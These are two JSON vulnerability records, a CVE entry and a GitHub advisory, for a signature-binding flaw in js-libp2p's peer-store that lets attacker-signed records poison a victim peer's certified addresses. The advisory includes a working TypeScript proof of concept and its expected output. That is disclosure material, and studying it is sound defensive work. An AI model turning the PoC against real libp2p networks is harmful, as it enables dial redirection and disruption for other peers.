{
  "affected": [
    {
      "affectedData": [
        {
          "product": "js-libp2p",
          "vendor": "libp2p",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 8.0.0, \u003c 12.0.24"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker\u0027s own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker\u0027s key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24."
    }
  ],
  "id": "CVE-2026-86039",
  "lastModified": "2026-09-17T16:18:17.090",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-17T16:18:17.090",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/libp2p/js-libp2p/pull/3570"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-290"
        },
        {
          "lang": "en",
          "value": "CWE-345"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/peer-store"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "12.0.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T18:01:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.\n\n### Details\nThe vulnerable code is in `packages/peer-store/src/index.ts`:\n\n- `RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)` verifies the envelope signature.\n- `const peerId = peerIdFromCID(envelope.publicKey.toCID())` derives the envelope signer peer ID.\n- The optional `expectedPeer` check only compares `expectedPeer` to the envelope signer.\n- `const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)` decodes `peerRecord.peerId` from attacker-controlled signed payload bytes.\n- `this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })` stores the addresses under the payload peer ID, not the verified signer peer ID.\n\nThe missing invariant is:\n\n```ts\npeerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))\n```\n\n`packages/protocol-identify/src/utils.ts` already performs this check and can be used as the reference behavior:\n\n```ts\nif (!peerRecord.peerId.equals(envelopePeer)) {\n  throw new InvalidMessageError(\u0027signing key does not match PeerId in the PeerRecord\u0027)\n}\n```\n\nThe gossipsub Peer Exchange path reaches this code via `packages/gossipsub/src/gossipsub.ts` by calling:\n\n```ts\npeerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })\n```\n\nThis does not prevent the bug because `peer` is derived from the wire `pi.peerID`. An attacker can set `pi.peerID` to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped `PeerRecord`.\n\n### PoC\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from \u0027node:assert\u0027\nimport { generateKeyPair } from \u0027@libp2p/crypto/keys\u0027\nimport { defaultLogger } from \u0027@libp2p/logger\u0027\nimport { peerIdFromPrivateKey } from \u0027@libp2p/peer-id\u0027\nimport { PeerRecord, RecordEnvelope } from \u0027@libp2p/peer-record\u0027\nimport { persistentPeerStore } from \u0027@libp2p/peer-store\u0027\nimport { multiaddr } from \u0027@multiformats/multiaddr\u0027\nimport { MemoryDatastore } from \u0027datastore-core/memory\u0027\nimport { TypedEventEmitter } from \u0027main-event\u0027\n\nconst label = \u0027Certified peer-record address hijack\u0027\n\nasync function main (): Promise\u003cvoid\u003e {\n  const localKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const attackerKey = await generateKeyPair(\u0027Ed25519\u0027)\n  const victimKey = await generateKeyPair(\u0027Ed25519\u0027)\n\n  const attacker = peerIdFromPrivateKey(attackerKey)\n  const victim = peerIdFromPrivateKey(victimKey)\n  const attackerAddr = multiaddr(\u0027/ip4/203.0.113.66/tcp/4001\u0027)\n\n  const peerStore = persistentPeerStore({\n    peerId: peerIdFromPrivateKey(localKey),\n    datastore: new MemoryDatastore(),\n    events: new TypedEventEmitter(),\n    logger: defaultLogger()\n  })\n\n  // Payload claims victim, but the envelope is signed by attacker.\n  const forgedRecord = new PeerRecord({\n    peerId: victim,\n    multiaddrs: [attackerAddr],\n    seqNumber: 999999n\n  })\n  const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)\n\n  // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker.\n  const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), {\n    expectedPeer: attacker\n  })\n\n  assert.equal(accepted, true)\n\n  const poisonedVictim = await peerStore.get(victim)\n  assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) =\u003e ({\n    multiaddr: multiaddr.toString(),\n    isCertified\n  })), [{\n    multiaddr: attackerAddr.toString(),\n    isCertified: true\n  }])\n\n  console.log(`${label} reproduced`)\n  console.log(`attacker signer: ${attacker}`)\n  console.log(`victim storage key: ${victim}`)\n  console.log(`stored certified address: ${attackerAddr}`)\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exitCode = 1\n})\n```\n\nExpected output:\n\n```text\nCertified peer-record address hijack reproduced\nattacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj\nvictim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn\nstored certified address: /ip4/203.0.113.66/tcp/4001\n```\n\n### Impact\nAttackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.\n\nThis does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.",
  "id": "GHSA-vrf4-mx87-p53w",
  "modified": "2026-09-17T18:01:38Z",
  "published": "2026-09-17T18:01:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-vrf4-mx87-p53w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/pull/3570"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/commit/3bf5d395cbca1488eea6e87cd771e4613b661c30"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses"
}